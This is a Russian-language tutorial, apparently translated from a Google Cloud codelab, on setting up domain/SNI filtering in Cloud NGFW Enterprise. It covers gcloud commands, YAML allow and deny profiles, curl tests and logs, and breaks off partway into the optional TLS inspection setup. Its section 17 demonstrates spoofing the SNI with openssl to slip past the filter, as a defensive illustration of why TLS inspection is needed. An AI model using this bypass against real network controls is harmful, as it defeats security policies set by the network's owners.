1. Введение
Межсетевой экран нового поколения в облаке (NGFW)
Cloud Next Generation Firewall — это полностью распределенный межсетевой экран с расширенными возможностями защиты, микросегментацией и повсеместным охватом для защиты ваших рабочих нагрузок Google Cloud от внутренних и внешних атак.
Облачный межсетевой экран нового поколения (NGFW) обладает следующими преимуществами:
- Распределенная служба межсетевого экрана: Cloud NGFW обеспечивает сохранение состояния и полностью распределенное применение мер безопасности на уровне хоста для каждой рабочей нагрузки, что позволяет реализовать архитектуру безопасности с нулевым доверием.
- Упрощенная настройка и развертывание: Cloud NGFW реализует сетевые и иерархические политики межсетевого экрана, которые можно прикрепить к узлу иерархии ресурсов. Эти политики обеспечивают единообразную работу межсетевого экрана во всей иерархии ресурсов Google Cloud.
- Детальный контроль и микросегментация: сочетание политик межсетевого экрана и тегов, управляемых системой управления идентификацией и доступом (IAM), обеспечивает точный контроль как для трафика между центрами сети (север-юг), так и для трафика между центрами сети (восток-запад), вплоть до отдельной виртуальной машины, в сетях и организациях виртуальных частных облаков (VPC).
Облачный межсетевой экран нового поколения (NGFW) доступен в следующих тарифных планах:
- Основы межсетевого экрана нового поколения для облачных вычислений
- Стандарт межсетевого экрана нового поколения для облачных вычислений
- Облачный межсетевой экран нового поколения для предприятий
Стандартные объекты FQDN в облачном NGFW могут преобразовывать полные доменные имена (FQDN) в IP-адреса, а затем применять правило к списку IP-адресов. Однако облачный NGFW Enterprise с фильтрацией доменов может пойти еще дальше.
Облачный NGFW Enterprise
В настоящее время Cloud NGFW Enterprise предоставляет услугу предотвращения вторжений (IPS), являющуюся функцией уровня 7, для распределенной сети межсетевых экранов Google Cloud Firewall.
В Cloud NGFW Enterprise теперь доступна фильтрация по доменам , которая обеспечивает управление HTTP(S)-трафиком с использованием доменных имен вместо IP-адресов.
Для фильтрации HTTPS-трафика по домену/SNI, в рамках рукопожатия TLS, Client Hello представляет собой расширение, содержащее индикацию имени сервера (SNI). SNI — это расширение протокола TLS, которое отправляет имя хоста, к которому пытается обратиться клиент. Именно по этому имени будет производиться проверка фильтрации.
В случае HTTP-трафика SNI отсутствует, поэтому для применения фильтрации будет использоваться только поле заголовка HTTP Host.
Фильтрация по доменам настраивается с помощью UrlFilteringProfile, который представляет собой новый тип профиля безопасности . UrlFilteringProfile будет содержать список UrlFilters, каждый из которых содержит действие, список строк соответствия и уникальный приоритет. В этой конфигурации для именования используется "Url" вместо "Domain", чтобы упростить переход к полной фильтрации по URL-адресам, когда она станет доступна, без необходимости создания нового типа профиля безопасности в будущем.
В UrlFilteringProfiles неявно присутствует UrlFilter с самым низким приоритетом (2147483647), который будет отклонять все соединения, не соответствующие UrlFilter с более высоким приоритетом.
Что вы построите
Для выполнения этого практического задания требуется один проект и умение создавать VPC-сети, а также управлять рядом сетевых ресурсов и ресурсов безопасности. Будет продемонстрировано, как Cloud NGFW Enterprise может обеспечивать фильтрацию по доменам и SNI, а также, при необходимости, инструкции по проверке TLS.
Мы протестируем множество сценариев правил разрешения и запрета, включая использование символов подстановки.
В итоге, набор правил политики сетевого брандмауэра будет выглядеть примерно так, как показано в таблице ниже:
Приоритет | Направление | Цель | Источник | Место назначения | Действие | Тип |
200 | Вход | ВСЕ | IAP | Любой | Позволять | Основные сведения |
300 | Выход | ВСЕ | Любой | 0.0.0.0/0:80,443 | Проверка L7 | Предприятие |
Что вы узнаете
- Как создать политику сетевого брандмауэра.
- Как настроить и использовать фильтрацию доменов/SNI в облачном межсетевом экране нового поколения (NGFW) для корпоративных сетей.
- Как настроить предотвращение угроз в дополнение к фильтрации по домену/SNI.
- Как просмотреть журналы.
- [Необязательно] Как включить проверку TLS.
Что вам понадобится
- Проект Google Cloud.
- Знание процесса развертывания экземпляров и настройки сетевых компонентов.
- Знание настроек межсетевого экрана на основе сетевых политик.
2. Прежде чем начать
Создание/обновление переменных
В этом практическом задании используются переменные `$variables` для упрощения настройки gcloud в Cloud Shell.
В оболочке Cloud Shell выполните следующие команды, заменив информацию в скобках по мере необходимости:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"` export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=domain-sni
3. Включите API.
Включите API, если вы этого еще не сделали:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable privateca.googleapis.com
4. Создание корпоративных конечных точек Cloud NGFW
Поскольку создание корпоративной конечной точки Cloud NGFW занимает около 20 минут, она будет создана первой, и базовая настройка может быть выполнена параллельно с созданием конечной точки.
Для фильтрации по доменам/SNI потребуется конечная точка брандмауэра, даже если вы не планируете использовать профили предотвращения угроз.
Создайте профиль безопасности и группу профилей безопасности:
gcloud network-security firewall-endpoints create $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$project_id
Выполните команду ниже, чтобы подтвердить создание конечной точки ( CREATING ).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Ожидаемый результат (обратите внимание, что формат вывода может различаться в зависимости от используемого клиента):
ID: $prefix-$zone LOCATION: $zone STATE: CREATING
Процесс создания занимает около 20 минут. Перейдите в раздел «Базовая настройка», чтобы параллельно создать необходимые ресурсы.
5. Базовая настройка
Сеть и подсеть VPC
Сеть и подсеть VPC
Создайте сеть и подсеть VPC:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Облачный NAT
Создайте внешний IP-адрес, облачный маршрутизатор и облачный NAT-шлюз:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Создание экземпляра
Создайте экземпляр клиента:
gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet \ --no-address \ --zone $zone
Глобальная политика сетевого брандмауэра
Создайте глобальную политику сетевого брандмауэра:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Domain/SNI Filtering" --global
Создайте необходимые правила Cloud Firewall Essential, чтобы разрешить трафик из диапазонов прокси-серверов с поддержкой идентификации :
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
Свяжите политику облачного брандмауэра с сетью VPC:
gcloud compute network-firewall-policies associations create \
--firewall-policy $prefix-fwpolicy \
--network $prefix-vpc \
--name $prefix-fwpolicy-association \
--global-firewall-policy
6. Создайте конфигурации фильтрации доменов/SNI для параметра «Разрешить».
Далее мы настроим домены, разрешив и запретив доступ. В CloudShell создайте YAML-файл:
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: ALLOW
priority: 1000
urls:
- 'www.example.com'
EOF
Создайте профиль безопасности, импортировав конфигурацию в формате YAML:
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
Ожидаемый результат:
Request issued for: [$prefix-sp]
Waiting for operation [organizations/$org_id/locations/global/operations/operation-1758319415956-63f2ea4309525-8d2da6a0-929e6304] to complete...done.
createTime: '2025-09-19T22:03:36.008789416Z'
etag: aIWSVHl8Hbj726iTDFROnlceKINsUbfI-8at816WNgU
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
updateTime: '2025-09-19T22:03:38.355672775Z'
urlFilteringProfile:
urlFilters:
- filteringAction: ALLOW
priority: 1000
urls:
- www.example.com
- filteringAction: DENY
priority: 2147483647
urls:
- '*'
Создайте группу профилей безопасности:
gcloud network-security security-profile-groups create $prefix-spg --organization=$org_id --location=global --url-filtering-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp
Убедитесь, что SPG содержит профиль безопасности:
gcloud network-security security-profile-groups describe $prefix-spg \ --location=global \ --organization=$org_id \ --project=$project_id
Ожидаемый результат:
{
"createTime": "2025-09-19T22:06:15.298569417Z",
"dataPathId": "685",
"etag": "Ru65whAbcsnTKYpVtKRGBtBUX2EbrPgCWI0_9540B00",
"name": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
"updateTime": "2025-09-19T22:06:19.201991641Z",
"urlFilteringProfile": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp"
}
7. Ассоциация конечной точки облачного межсетевого экрана
Если вы еще этого не сделали и/или предпочитаете использовать скриптовый подход, укажите переменные окружения.
Убедитесь, что создание конечной точки облачного брандмауэра успешно завершено. Продолжайте только после того, как состояние отобразится как АКТИВНОЕ (во время создания ожидаемое состояние — СОЗДАНИЕ ):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Ожидаемый результат (обратите внимание, что формат вывода может различаться в зависимости от используемого клиента):
ID: $prefix-$zone LOCATION: $zone STATE: ACTIVE
Свяжите конечную точку Cloud Firewall с сетью VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc \ --endpoint $prefix-$zone \ --organization $org_id
Процесс сопоставления занимает около 10 минут. Переходите к следующему разделу только после того, как состояние отобразится как АКТИВНОЕ (во время создания ожидаемое состояние — СОЗДАНИЕ ):
gcloud network-security firewall-endpoint-associations list
Ожидаемый результат по завершении :
ID: $prefix-association LOCATION: $zone NETWORK: $prefix-vpc ENDPOINT: $prefix-$zone STATE: ACTIVE
8. Создайте правила брандмауэра для фильтрации доменных имен/SNI.
В брандмауэре Google неявно установлены правила разрешения исходящего трафика. Если мы хотим обеспечить фильтрацию по домену/SNI, нам необходимо явно определить правило. Следующее правило будет направлять исходящий трафик на целевые порты 80 и 443 для проверки нашим профилем безопасности.
gcloud compute network-firewall-policies rules create 300 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=EGRESS \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \ --layer4-configs=tcp:80,tcp:443 \ --dest-ip-ranges=0.0.0.0/0 \ --enable-logging
9. Проверка правил разрешения
Установите SSH-соединение с виртуальной машиной через IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Отправляйте тестовые запросы в указанное место назначения:
curl https://www.example.com --max-time 2
Обратите внимание, что этот запрос был успешно выполнен благодаря правилу брандмауэра «разрешить».
Давайте попробуем несколько доменов, которых нет в списке.
curl https://example.com --max-time 2 curl https://google.com --max-time 2 curl https://wikipedia.org --max-time 2
Ожидаемый результат:
curl: (35) Recv failure: Connection reset by peer curl: (35) Recv failure: Connection reset by peer curl: (35) Recv failure: Connection reset by peer
Почему "example.com" не работал? Потому что в конфигурации профиля безопасности явно был указан "www.example.com". Если бы мы хотели разрешить все поддомены example.com, мы могли бы использовать подстановочный знак.
Остальные запросы также не увенчались успехом. Это связано с тем, что в группе профилей безопасности установлен запрет по умолчанию с самым низким приоритетом, и разрешен только доступ к www.example.com.
Чтобы вернуться в Cloudshell, выйдите из виртуальной машины.
exit
10. Обновите конфигурацию фильтрации доменов/SNI для подстановочных знаков.
Давайте рассмотрим YAML-файл и внесем некоторые дополнительные изменения, чтобы продемонстрировать дополнительные возможности, включая поддержку подстановочных знаков. Мы создадим правило, разрешающее "*.com", что эквивалентно любому домену, заканчивающемуся на .com. Примечание: это полностью заменит содержимое исходного YAML-файла, созданного в предыдущем разделе.
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: ALLOW
priority: 2000
urls:
- '*.com'
EOF
Обновите профиль безопасности, используя новую конфигурацию в формате YAML:
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
Проверьте конфигурацию профиля безопасности:
gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id
Ожидаемый результат:
{
"createTime": "2025-09-19T22:03:36.008789416Z",
"etag": "NWFkiDgvE1557Fwx7TVTUiMJBAtnWVnWQ2-hhGEiXA0",
"name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
"type": "URL_FILTERING",
"updateTime": "2025-09-20T03:45:42.519263424Z",
"urlFilteringProfile": {
"urlFilters": [
{
"filteringAction": "ALLOW",
"priority": 2000,
"urls": [
"*.com"
]
},
{
"filteringAction": "DENY",
"priority": 2147483647,
"urls": [
"*"
]
}
]
}
}
11. Проверка правила подстановки
Давайте проверим, работает ли правило подстановки. Инициируем SSH-соединение с виртуальной машиной через IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Отправляйте тестовые запросы в указанные пункты назначения:
curl https://github.com --max-time 2 curl https://google.com --max-time 2
Все эти запросы должны были быть успешными. Можете попробовать любой другой допустимый домен .com. Если они по-прежнему не увенчались успехом, подождите не менее 10 минут и попробуйте снова.
Мы можем даже попробовать несколько поддоменов ".com", и все они должны быть успешными.
curl https://mail.google.com --max-time 2
Чтобы вернуться в Cloudshell, выйдите из виртуальной машины.
exit
12. Обновите конфигурацию фильтрации доменов/SNI для параметра «Запретить».
Мы показали, что в конце профиля безопасности существует неявное правило DENY для * и создали «разрешенные» домены, используя filteringAction как "ALLOW". Давайте обсудим, как использовать filteringAction как "DENY". Действия DENY могут быть полезны, когда они предшествуют явному ALLOW. Рассмотрим следующий пример.
Мы обновим существующий YAML-файл, чтобы разрешить домены *.com, но запретить определенные домены .com.
Мы изменим YAML-файл, чтобы запретить доступ к *.github.com и *.google.com, явно разрешив при этом доступ ко всем остальным *.com и сохранив неявное значение по умолчанию — запрет. Обратите внимание, что приоритет исключений должен быть ниже: (1000 против 2000) и (1500 против 2000).
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: DENY
priority: 1000
urls:
- '*.github.com'
- filteringAction: DENY
priority: 1500
urls:
- '*.google.com'
- filteringAction: ALLOW
priority: 2000
urls:
- '*.com'
EOF
Обновите профиль безопасности, используя новую конфигурацию в формате YAML:
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
Проверьте конфигурацию профиля безопасности:
gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id
13. Проверка правил отказа.
Давайте проверим, работают ли правила DENY. Инициируем SSH-соединение с виртуальной машиной через IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Отправляйте тестовые запросы в запрещенные пункты назначения:
curl https://www.github.com --max-time 2 curl https://mail.google.com --max-time 2
Эти два запроса должны были быть отклонены, поскольку соответствовали правилу «ОТКАЗАТЬ».
Отправьте еще несколько запросов:
curl https://github.com --max-time 2 curl https://google.com --max-time 2
Почему это сработало? Это сработало, потому что правила DENY были предназначены для " .github.com" и " .google.com". Запросы к github.com и google.com не включают этот подстановочный знак, поскольку он ссылается на поддомены github.com и google.com.
Запросы к доменам .com должны быть успешными, а для других доменов (.org, .net, .me и т.д.) по умолчанию будет отказано.
Чтобы вернуться в Cloudshell, выйдите из виртуальной машины.
exit
14. Обновите конфигурацию фильтрации доменов/SNI для параметра «Разрешено по умолчанию».
Что если вам нужно, чтобы по умолчанию действовало правило ALLOW с явными правилами deny? Мы обновим YAML-файл, чтобы отобразить это поведение. Мы настроим правила DENY для всех доменов .com или .net и разрешим все остальные.
cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile:
urlFilters:
- filteringAction: DENY
priority: 1000
urls:
- '*.com'
- filteringAction: DENY
priority: 1500
urls:
- '*.net'
- filteringAction: ALLOW
priority: 2000000000
urls:
- '*'
EOF
Обновите профиль безопасности, используя новую конфигурацию в формате YAML:
gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id
Проверьте конфигурацию профиля безопасности:
gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id
Ожидаемый результат:
{
"createTime": "2025-09-19T22:03:36.008789416Z",
"etag": "72Q4RbjDyfjLPeNcNLAaJrUBgpO21idaqTMeDZf4VSw",
"name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
"type": "URL_FILTERING",
"updateTime": "2025-09-20T04:32:53.299276787Z",
"urlFilteringProfile": {
"urlFilters": [
{
"filteringAction": "DENY",
"priority": 1000,
"urls": [
"*.com"
]
},
{
"filteringAction": "DENY",
"priority": 1500,
"urls": [
"*.net"
]
},
{
"filteringAction": "ALLOW",
"priority": 2000000000,
"urls": [
"*"
]
},
{
"filteringAction": "DENY",
"priority": 2147483647,
"urls": [
"*"
]
}
]
}
}
Обратите внимание, что неявное правило DENY для * по-прежнему существует. Это правило становится неактуальным, поскольку мы настроили правило по умолчанию с более высоким приоритетом (более низким значением), в котором filteringAction установлено на ALLOW.
(2000000000 против 2147483647)
15. Проверка правил запрета с помощью правил разрешения по умолчанию.
Давайте проверим, работают ли правила DENY наряду с правилом ALLOW по умолчанию. Инициируем SSH-соединение с виртуальной машиной через IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Отправляйте тестовые запросы в запрещенные пункты назначения:
curl https://www.github.com --max-time 2 curl https://www.php.net --max-time 2
Эти два запроса должны были завершиться неудачей, поскольку соответствовали правилу «ЗАПРЕТИТЬ». Любой запрос к доменам .com или .net должен завершиться неудачей.
Отправьте несколько запросов, которые должны быть успешными (любой другой домен верхнего уровня):
curl https://wikipedia.org --max-time 2 curl https://ifconfig.me --max-time 2
Эти запросы должны быть успешными, поскольку они соответствуют правилу разрешения по умолчанию с приоритетом 2000000000.
16. Изучите журналы на предмет фильтрации по доменам/SNI.
Давайте проверим, как можно убедиться, что трафик проверяется правилом брандмауэра для фильтрации по домену/SNI.
В консоли Cloud перейдите в раздел «Обозреватель журналов» и введите следующий фильтр:
jsonPayload.rule_details.priority:(300) AND jsonPayload.rule_details.reference=~"^network:[^/]*/firewallPolicy:domain-sni-fwpolicy$"
Приведенный выше фильтр проверяет созданную нами политику брандмауэра с именем $prefix-fwpolicy и приоритетом правила 300, которая содержит группу профилей безопасности, связанную с конфигурацией фильтрации домена/SNI.
Как видите, в поле «Решение» указано «ПЕРЕКРЕСТИРОВАНО», что означает, что трафик был перехвачен и отправлен на обработку в наш межсетевой экран.
Чтобы просмотреть журналы фильтрации по домену/SNI, в Logs Explorer можно ввести следующий фильтр: (Необходимо заменить $project_id на значение вашего project_id)
logName="projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter"
Если мы развернёмся подробнее, то увидим следующие детали в примере (после очистки):
{
"insertId": "mro2t1f4banf9",
"jsonPayload": {
"direction": "CLIENT_TO_SERVER",
"detectionTime": "2025-09-20T04:39:40.713432713Z",
"connection": {
"serverPort": 443,
"serverIp": "198.35.26.96",
"clientPort": 37410,
"protocol": "TCP",
"clientIp": "10.0.0.2"
},
"action": "ALLOW",
"@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
"ruleIndex": 2000000000,
"interceptInstance": {
"projectId": "$project_id",
"zone": "$zone",
"vm": "$prefix-$zone-client"
},
"applicationLayerDetails": {
"uri": "",
"protocol": "PROTOCOL_UNSPECIFIED"
},
"securityProfileGroupDetails": {
"organizationId": "$org_id",
"securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg"
},
"sessionLayerDetails": {
"sni": "wikipedia.org",
"protocolVersion": "TLS1_2"
},
"denyType": "unspecified",
"interceptVpc": {
"projectId": "$project_id",
"vpc": "$prefix-vpc"
},
"uriMatched": ""
},
"resource": {
"type": "networksecurity.googleapis.com/FirewallEndpoint",
"labels": {
"id": "$prefix-$zone",
"resource_container": "organizations/$org_id",
"location": "$zone"
}
},
"timestamp": "2025-09-20T04:39:43.758897121Z",
"logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
"receiveTimestamp": "2025-09-20T04:39:43.758897121Z"
}
Приведённый выше пример лога показывает запрос к wikipedia.org, который был РАЗРЕШЕН, поскольку он соответствовал правилу приоритета 2000000000, которое было "*" с параметром filterAction ALLOW. Есть и другие подробности, включая SNI.
Мы можем взглянуть на пример лога с ошибкой DENY:
{
"insertId": "1pllrqlf60jr29",
"jsonPayload": {
"securityProfileGroupDetails": {
"securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
"organizationId": "$org_id"
},
"action": "DENY",
"interceptVpc": {
"vpc": "$prefix-vpc",
"projectId": "$project_id"
},
"connection": {
"serverIp": "45.112.84.18",
"clientIp": "10.0.0.2",
"protocol": "TCP",
"serverPort": 443,
"clientPort": 45720
},
"@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
"applicationLayerDetails": {
"uri": "",
"protocol": "PROTOCOL_UNSPECIFIED"
},
"sessionLayerDetails": {
"sni": "www.php.net",
"protocolVersion": "TLS1_2"
},
"interceptInstance": {
"zone": "$zone",
"projectId": "$project_id",
"vm": "$prefix-$zone-client"
},
"detectionTime": "2025-09-20T04:37:57.345031164Z",
"direction": "CLIENT_TO_SERVER",
"ruleIndex": 1500,
"uriMatched": "",
"denyType": "SNI"
},
"resource": {
"type": "networksecurity.googleapis.com/FirewallEndpoint",
"labels": {
"id": "$prefix-$zone",
"resource_container": "organizations/$org_id",
"location": "$zone"
}
},
"timestamp": "2025-09-20T04:38:03.757200395Z",
"logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
"receiveTimestamp": "2025-09-20T04:38:03.757200395Z"
}
Как видно выше, это запрос, зарегистрированный в случае отказа в обработке запроса. Запрос был отправлен на www.php.net и соответствовал правилу 1500 в профиле безопасности. Аналогичным образом, для принятия решения использовалось сопоставление с SNI.
17. Проверка правил при наличии подмены SNI.
Как упоминалось во введении, NGFW Enterprise может анализировать заголовок HTTP-хоста для HTTP-трафика или SNI для зашифрованного TLS-трафика. Некоторые пользователи могут подделывать SNI. Что произойдет, если они это сделают?
Давайте проверим это поведение. Инициируем SSH-соединение с виртуальной машиной через IAP:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Выполните следующую команду openssl, чтобы подменить SNI:
openssl s_client -connect www.google.com:443 -servername ifconfig.me
В приведенном выше примере ожидается, что запросы к доменам .com и .net будут заблокированы, а запросы к другим доменам верхнего уровня будут разрешены. Ниже приведен пример поддельного ответа. Запрос отправляется на www.google.com, который должен быть заблокирован, но вместо отправки SNI www.google.com мы указываем SNI ifconfig.me. Поскольку политика проверяет SNI, она будет рассматривать это как «разрешенный» домен и пропускать его. В результате мы успешно установили TLS-соединение с google.com.
.
Ожидаемый результат:
CONNECTED(00000003) depth=2 C = US, O = Google Trust Services LLC, CN = GTS Root R1 verify return:1 depth=1 C = US, O = Google Trust Services, CN = WR2 verify return:1 depth=0 CN = www.google.com verify return:1 --- Certificate chain 0 s:CN = www.google.com i:C = US, O = Google Trust Services, CN = WR2 a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256 v:NotBefore: Sep 8 08:37:54 2025 GMT; NotAfter: Dec 1 08:37:53 2025 GMT 1 s:C = US, O = Google Trust Services, CN = WR2 i:C = US, O = Google Trust Services LLC, CN = GTS Root R1 a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256 v:NotBefore: Dec 13 09:00:00 2023 GMT; NotAfter: Feb 20 14:00:00 2029 GMT 2 s:C = US, O = Google Trust Services LLC, CN = GTS Root R1 i:C = BE, O = GlobalSign nv-sa, OU = Root CA, CN = GlobalSign Root CA a:PKEY: rsaEncryption, 4096 (bit); sigalg: RSA-SHA256 v:NotBefore: Jun 19 00:00:42 2020 GMT; NotAfter: Jan 28 00:00:42 2028 GMT --- Server certificate -----BEGIN CERTIFICATE----- MIIFIjCCBAqgAwIBAgIRAM14YrdibR1qCrCsFSaLpS0wDQYJKoZIhvcNAQELBQAw OzELMAkGA1UEBhMCVVMxHjAcBgNVBAoTFUdvb2dsZSBUcnVzdCBTZXJ2aWNlczEM MAoGA1UEAxMDV1IyMB4XDTI1MDkwODA4Mzc1NFoXDTI1MTIwMTA4Mzc1M1owGTEX MBUGA1UEAxMOd3d3Lmdvb2dsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw ggEKAoIBAQC70XEda08twtQq8yhHAP5LJDIIvyOLrUMP3EnttHXtYH1t0W2isAFp z1l+3kTV+j/0LYNtTHYeeR+VtyGyPvmmMC/BQ8hkYBxtO2XNSDuF5Avw0lIsTGSN O0DxsRp8wSEc3h/xQrEPlXrI301y7136VTw79vQwhU0sAhzArBk1Kak2tGCrGUpL TtiMD6pm1PEtvwY4jeei8n9467JsFs4De9nv/W/Y23XYqfilAT2vaehvxAiByEeU 5U0DCiKGPzR02sA3aExxjKRbhmHugGM0LceTLdp2+a4hJUBqOgck66HMTGEvhq4B Mdn5N/KBBdGovoAxf1EiO+h8EWsDXkdVAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8E BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E FgQUDbnpqw80izeJW//holp4bVObRRUwHwYDVR0jBBgwFoAU3hse7XkV1D43JMMh u+w0OW1CsjAwWAYIKwYBBQUHAQEETDBKMCEGCCsGAQUFBzABhhVodHRwOi8vby5w a2kuZ29vZy93cjIwJQYIKwYBBQUHMAKGGWh0dHA6Ly9pLnBraS5nb29nL3dyMi5j cnQwGQYDVR0RBBIwEIIOd3d3Lmdvb2dsZS5jb20wEwYDVR0gBAwwCjAIBgZngQwB AgEwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2MucGtpLmdvb2cvd3IyL29CRllZ YWh6Z1ZJLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AMz7D2qFcQll/pWb U87psnwi6YVcDZeNtql+VMD+TA2wAAABmSiwb7kAAAQDAEYwRAIgUgwfOTyMz1t2 IoMnKJ53W+kZw7Jsu32WvzgsckwoVUsCIF13LpnKVkz4nb5ns+gCV9cmXtjrOIYR los6Y3B55Zc4AHcAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZ KLBu2wAABAMASDBGAiEAs7m+95jkhA5h/ycpQu8uLo2AZsIpOX6BvJiycuvgMJsC IQC6O2leGpUvSExL6fYvpVba3mrNVlw1a5u8OFI7NSguhTANBgkqhkiG9w0BAQsF AAOCAQEAa9vVQ6zoBODliAAhLTG3uYaQZevaE96lOdD0jnRw/u3EzNL4UnDED/O+ x8XNvv5njb5MsntnYUgQda3nNtYfpGe6qvuYhyiBegdzqBsHVik4Rzlp/YeMGAV/ zqKl+Wtg5iCjq4+yI3aLex36NeFA7n8SQbKc0n8PvmAF7Anh80H3A/XPaINTKueO kBltI+iP9FPL64b5NbcNqeanibsOE/2tMImLF/7Kp1/5IFCq7UsR09mBRRfUbRyc 1Zp7ndj5sMLqqgCuF8wTaELMubN4pw5S9FdO7iWA254+NhXidnU8WNHadgR0OmWr jr89HAhAtpQGEarldpmnJPMadHEcdw== -----END CERTIFICATE----- subject=CN = www.google.com issuer=C = US, O = Google Trust Services, CN = WR2 --- No client certificate CA names sent Peer signing digest: SHA256 Peer signature type: RSA-PSS Server Temp Key: X25519, 253 bits --- SSL handshake has read 4495 bytes and written 397 bytes Verification: OK --- New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384 Server public key is 2048 bit Secure Renegotiation IS NOT supported Compression: NONE Expansion: NONE No ALPN negotiated Early data was not sent Verify return code: 0 (ok) ---
Именно здесь на помощь приходит проверка методом TLS, которая может устранить эту проблему.
Закройте соединение и выйдите из виртуальной машины:
"ctrl" + c exit
18. [Необязательно] Проверка TLS
Настройка ресурсов TLS
Этот раздел является необязательным, поскольку фильтрация по домену/SNI работает без необходимости проверки TLS. Однако проверка TLS может потребоваться, если вы планируете использовать средства предотвращения угроз или, в будущем, когда станет доступна полная фильтрация URL-адресов, иметь возможность создавать правила на основе путей в профиле безопасности.
Кроме того, проверка TLS обеспечивает дополнительный уровень контроля, поскольку существует вероятность подмены SNI.
Создайте пул центров сертификации. Этот ресурс будет использоваться для хранения корневого сертификата центра сертификации, который мы генерируем для NGFW Enterprise.
gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=devops
Создайте корневой центр сертификации (Root CA). Это сертификат центра сертификации, который будет использоваться для подписи дополнительных сертификатов для запросов через NGFW Enterprise.
gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Domain/SNI"
Если появится сообщение ниже, ответьте «да» :
The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA? Do you want to continue (y/N)?
Создайте учетную запись службы. Эта учетная запись службы будет использоваться для запроса сертификатов для NGFW Enterprise:
gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id
Настройте права доступа IAM для учетной записи службы:
